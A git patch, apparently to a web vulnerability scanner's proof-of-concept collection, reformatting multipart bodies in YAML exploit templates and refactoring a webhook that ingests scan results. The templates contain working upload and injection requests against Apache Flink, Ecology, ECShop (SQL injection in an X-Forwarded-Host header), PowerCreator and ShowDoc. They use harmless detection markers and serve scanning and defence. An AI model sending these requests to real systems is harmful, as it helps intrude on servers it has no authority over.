From 58c5e2a24d4f8e71d1ad7a03b7def81c2f3733b4 Mon Sep 17 00:00:00 2001 From: yywing <386542536@qq.com> Date: Mon, 24 Jan 2022 14:01:52 +0800 Subject: [PATCH] fix: fix poc multipart (#1574) * fix: fix poc multipart data * fix: fix webhook --- pocs/apache-flink-upload-rce.yml | 15 ++++++++------- pocs/ecology-arbitrary-file-upload.yml | 9 ++++++++- pocs/ecshop-collection-list-sqli.yml | 2 +- pocs/powercreator-arbitrary-file-upload.yml | 15 ++++++++------- pocs/showdoc-uploadfile.yml | 15 ++++++++------- webhook/app.py | 5 +++-- webhook/model/vuln.py | 3 --- webhook/views/views.py | 21 +++++++++------------ 8 files changed, 45 insertions(+), 40 deletions(-) diff --git a/pocs/apache-flink-upload-rce.yml b/pocs/apache-flink-upload-rce.yml index bfc64245b..aa4751f20 100644 --- a/pocs/apache-flink-upload-rce.yml +++ b/pocs/apache-flink-upload-rce.yml @@ -19,13 +19,14 @@ rules: path: /jars/upload headers: Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3 - body: |- - --8ce4b16b22b58894aa86c421e8759df3 - Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar" - Content-Type:application/octet-stream - - {{r1}} - --8ce4b16b22b58894aa86c421e8759df3-- + body: "\ + --8ce4b16b22b58894aa86c421e8759df3\r\n\ + Content-Disposition: form-data; name=\"jarfile\";filename=\"{{r2}}.jar\"\r\n\ + Content-Type:application/octet-stream\r\n\ + \r\n\ + {{r1}}\r\n\ + --8ce4b16b22b58894aa86c421e8759df3--\r\n\ + " follow_redirects: true expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2)) output: diff --git a/pocs/ecology-arbitrary-file-upload.yml b/pocs/ecology-arbitrary-file-upload.yml index 43bb91681..ea6ff2206 100644 --- a/pocs/ecology-arbitrary-file-upload.yml +++ b/pocs/ecology-arbitrary-file-upload.yml @@ -13,7 +13,14 @@ rules: path: /page/exportImport/uploadOperation.jsp headers: Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eed - body: "--b0d829daa06c13d6b3e16b0ad21d1eed\r\nContent-Disposition: form-data; name=\"file\"; filename=\"{{r1}}.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n--b0d829daa06c13d6b3e16b0ad21d1eed--\r\n\r\n" + body: "\ + --b0d829daa06c13d6b3e16b0ad21d1eed\r\n\ + Content-Disposition: form-data; name=\"file\"; filename=\"{{r1}}.jsp\"\r\n\ + Content-Type: application/octet-stream\r\n\ + \r\n\ + <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\ + --b0d829daa06c13d6b3e16b0ad21d1eed--\r\n\ + " expression: response.status == 200 r1: request: diff --git a/pocs/ecshop-collection-list-sqli.yml b/pocs/ecshop-collection-list-sqli.yml index 76bb87a73..bef25488f 100644 --- a/pocs/ecshop-collection-list-sqli.yml +++ b/pocs/ecshop-collection-list-sqli.yml @@ -12,7 +12,7 @@ rules: headers: X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:55:"1' and updatexml(1,insert(md5({{r1}}),1,1,0x7e),1) and '";|45ea207d7a2b68c49582d2d22adf953a follow_redirects: false - expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 32))) + expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 31))) expression: r0() detail: author: 曦shen diff --git a/pocs/powercreator-arbitrary-file-upload.yml b/pocs/powercreator-arbitrary-file-upload.yml index 9b67c5250..c6031acb6 100644 --- a/pocs/powercreator-arbitrary-file-upload.yml +++ b/pocs/powercreator-arbitrary-file-upload.yml @@ -14,13 +14,14 @@ rules: headers: Content-Disposition: form-data;name="file1";filename="{{randname}}.aspx"; Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136 - body: |- - -----------------------------20873900192357278038549710136 - Content-Disposition: form-data; name="file1"; filename="{{randname}}.aspx" - Content-Type: image/jpeg - - {{content}} - -----------------------------20873900192357278038549710136-- + body: "\ + -----------------------------20873900192357278038549710136\r\n\ + Content-Disposition: form-data; name=\"file1\"; filename=\"{{randname}}.aspx\"\r\n\ + Content-Type: image/jpeg\r\n\ + \r\n\ + {{content}}\r\n\ + -----------------------------20873900192357278038549710136--\r\n\ + " follow_redirects: false expression: response.status == 200 && response.body.bcontains(b".ASPX") output: diff --git a/pocs/showdoc-uploadfile.yml b/pocs/showdoc-uploadfile.yml index 97c9df930..6baaf509c 100644 --- a/pocs/showdoc-uploadfile.yml +++ b/pocs/showdoc-uploadfile.yml @@ -12,13 +12,14 @@ rules: path: /index.php?s=/home/page/uploadImg headers: Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633 - body: |- - ----------------------------835846770881083140190633 - Content-Disposition: form-data; name="editormd-image-file"; filename="{{r1}}.<>php" - Content-Type: text/plain - - - ----------------------------835846770881083140190633-- + body: "\ + ----------------------------835846770881083140190633\r\n\ + Content-Disposition: form-data; name=\"editormd-image-file\"; filename=\"{{r1}}.<>php\"\r\n\ + Content-Type: text/plain\r\n\ + \r\n\ + \r\n\ + ----------------------------835846770881083140190633--\r\n\ + " follow_redirects: false expression: response.status == 200 && response.body.bcontains(b"success") output: diff --git a/webhook/app.py b/webhook/app.py index 1abf1cb2d..5c80badd7 100644 --- a/webhook/app.py +++ b/webhook/app.py @@ -25,8 +25,9 @@ def webhook(): return "invalid token", 401 # 可以使用 instance query 来区分不同的节点的数据 instance = request.args.get("instance", "default") - data = request.json - data_type = data.get("type") + json_data = request.json + data_type = json_data.get("type") + data = json_data.get("data") if data_type == "web_vuln": process_web_vuln(instance, data) elif data_type == "web_statistic": diff --git a/webhook/model/vuln.py b/webhook/model/vuln.py index b54499fe4..555cb3841 100644 --- a/webhook/model/vuln.py +++ b/webhook/model/vuln.py @@ -62,8 +62,6 @@ class WebVuln: # 这两个数据内部使用其实是 enum,要不要提供给社区? # 插件名 plugin: str - # 漏洞类型,可能为空,代表 default - vuln_class: str url: str # 存在漏洞的参数,可能为 None @@ -84,7 +82,6 @@ class ServiceVuln: # 同 web 漏洞 create_time: datetime plugin: str - vuln_class: str # 主机名 host: str diff --git a/webhook/views/views.py b/webhook/views/views.py index d6e503447..2f248d049 100644 --- a/webhook/views/views.py +++ b/webhook/views/views.py @@ -8,7 +8,7 @@ def process_web_vuln(instance, data): """将 web 漏洞 json 转换为相关 model""" detail = data["detail"] - p = detail["param"] + p = detail['extra']["param"] if p: param = WebParam(key=p["key"], value=p["value"], position=WebParamPosition(p["position"])) else: @@ -18,11 +18,9 @@ def process_web_vuln(instance, data): response = [] extra = {} - for i in range(0, 10): - req_key = f"request{i}" if i else "request" - resp_key = f"response{i}" if i else "response" - req = detail.get(req_key) - resp = detail.get(resp_key) + for i, pair in enumerate(detail['snapshot']): + req = pair[0] + resp = pair[1] if req == "" or resp == "": continue @@ -32,8 +30,8 @@ def process_web_vuln(instance, data): response.append(WebResponse(raw=resp)) # 其他的数据可能是自定义的,就单独拿出来 - not_extra_key = ["request", "response", "param", "payload", "url"] - for k, v in detail.items(): + not_extra_key = ["param"] + for k, v in detail["extra"].items(): for item in not_extra_key: if item in k: break @@ -41,7 +39,6 @@ def process_web_vuln(instance, data): extra[k] = v vuln = WebVuln(create_time=datetime.fromtimestamp(data["create_time"] / 1000), plugin=data["plugin"], - vuln_class=data["vuln_class"], url=data["target"]["url"], param=param, request=request, response=response, extra=extra, raw_json=data) dispatch_web_vuln(instance, vuln) @@ -64,8 +61,8 @@ def process_host_vuln(instance, data): detail = data["detail"] extra = {} - not_extra_key = ["host", "port"] - for k, v in detail.items(): + not_extra_key = [] + for k, v in detail['extra'].items(): for item in not_extra_key: if item in k: break @@ -73,6 +70,6 @@ def process_host_vuln(instance, data): extra[k] = v vuln = ServiceVuln(create_time=datetime.fromtimestamp(data["create_time"] / 1000), plugin=data["plugin"], - vuln_class=data["vuln_class"], host=detail["host"], port=detail["port"], + host=detail["host"], port=detail["port"], extra=extra, raw_json=data) dispatch_service_vuln(instance, vuln)